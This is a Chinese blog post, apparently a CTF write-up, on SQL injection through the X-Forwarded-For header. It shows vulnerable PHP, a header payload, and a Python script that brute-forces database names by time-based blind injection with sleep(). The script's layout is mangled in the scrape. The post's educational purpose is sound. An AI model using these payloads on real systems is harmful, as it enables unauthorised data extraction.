机缘巧合接触了一点关于sql注入的网络安全问题

依托 headers 的 sql 注入

一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。

但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。

这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941

代码漏洞示例

    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$cip = $_SERVER["HTTP_CLIENT_IP"];
} else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (!empty($_SERVER["REMOTE_ADDR"])) {
$cip = $_SERVER["REMOTE_ADDR"];
} else {
$cip = 'unknow';
}
// 未对ip 进行安全转码
echo 'Your IP address is : '.$cip;
// 直接拼接sql,未使用pdo参数绑定
$sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
$DB->query($sql);

构造sql注入的headers

接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:

headers = {
"X-forwarded-for": "'+(select 1) and '1'='1"
}
req=requests.get(url,headers=headers)

如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1

time-based 时间盲注

看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...

我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果

这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注

它的原理很容易理解:

  • sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
  • sleep() 语句可以人为控制sql响应时间
  • 虽然不能控制页面的输出,但是可以通过sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息

所以核心思想是,通过sql语句控制页面的响应时间

破解过程非常暴力,看代码一目了然:

def crack_records(url, sql, max_row, max_length):
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
# mysql 不区分大小写
guess = string.ascii_lowercase+string.digits+string.punctuation
res = []
for n in range(0,max_row): #假设爆破前 max_row 个记录
result=''
for i in range(1,max_length): #爆破字符串长度,假设不超过 max_length 长度
flag=0
for str in guess: #爆破该位置的字符 headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
try:
req=requests.get(url,headers=headers,timeout=6)
except:
result+=str
flag=1
print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
break
if flag==0:
break
res.append(result)
#
if i==1 and flag==0:
print('扫描完成')
break
return res # 除information_schema外的database
sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
res = crack_records(url, sql, 100, 500)
print (res)

文章参考

实验吧CTF-Who are you?

总结

  1. 破解过程非常耗时,根据网页的响应时长调整timeout阈值
  2. 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
  3. 这些人好特么聪明啊啊啊啊啊!!!

依托http-headers的 sql注入和时间盲注的更多相关文章

  1. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  2. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  3. SQL注入之延迟盲注

    延迟盲注 你不知道你输入的数据在sql被执行后是否是正确或错误的.你只知道有数据. 利用原理 借助if语句,如果正确就sleep(5),延迟5秒返回数据.通过数据返回的时间大小判断自己的语句是否正确执 ...

  4. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  6. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

随机推荐

  1. C#winform拖拽实现获得文件路径

    1.关键知识点说明: 通过DragEnter事件获得被拖入窗口的“信息”(可以是若干文件,一些文字等等),在DragDrop事件中对“信息”进行解析.窗体的AllowDrop属性必须设置成true;且 ...

  2. c#基础综述

    一个相关的博客:http://blog.csdn.net/zhang_xinxiu/article/details/8605980 很好的一个网站:http://www.runoob.com/

  3. 什么是 Sass 其与SCSS区别是什么?

    Sass 官网上是这样描述 Sass 的: Sass 是一门高于 CSS 的元语言,它能用来清晰地.结构化地描述文件样式,有着比普通 CSS 更加强大的功能. Sass 能够提供更简洁.更优雅的语法, ...

  4. Python基础-内置函数总结

    内置函数 int('123') float() string() tuple() set() dict(name='zdd',age=18) type()#查看类型 len()#看长度,其实是元素的个 ...

  5. ffmpeg推流命令参数记录

    列出我们本机的设备:ffmpeg -list_devices true -f dshow -i dummy .\ffmpeg -r 25 -f dshow -s 640*480 -i video=&q ...

  6. 8th

    2017-2018-2 20179212<网络攻防实践>第8周作业 视频学习 Kali权限维持之后门 权限维持包含Tunnel工具集.Web后门.系统后门三个子类.其中系统后门与web后门 ...

  7. 【算法总结】Manacher's Algorithm

    Manacher's Algorithm针对的是最长回文子串问题.对于此问题,最直接的方法是遍历每一个元素,遍历过程中以每一个字符为中心向两边扩展以寻找此字符为中心的最长回文子串.复杂度O(n2).M ...

  8. 查找图像中椭圆轮廓的快速随机hough变换

    查找图像中椭圆轮廓的快速随机hough变换 图像中椭圆轮廓的查找在视频监控等领域有着广泛的应用,经典hough变换给我们提供了一种查找各种图形轮廓的方法,特别是在直线查找方面具有非常高的精确度.但是由 ...

  9. 使用Visual Studio进行单元测试-Part1

    写在开头:Coding ain't done until all the tests run. No unit test no BB. -------------------------------- ...

  10. 51nod 1967 路径定向——欧拉回路

    题目:http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1967 一共只会有偶数个奇数度的点.因为每多一条边,总度数加2. 把 ...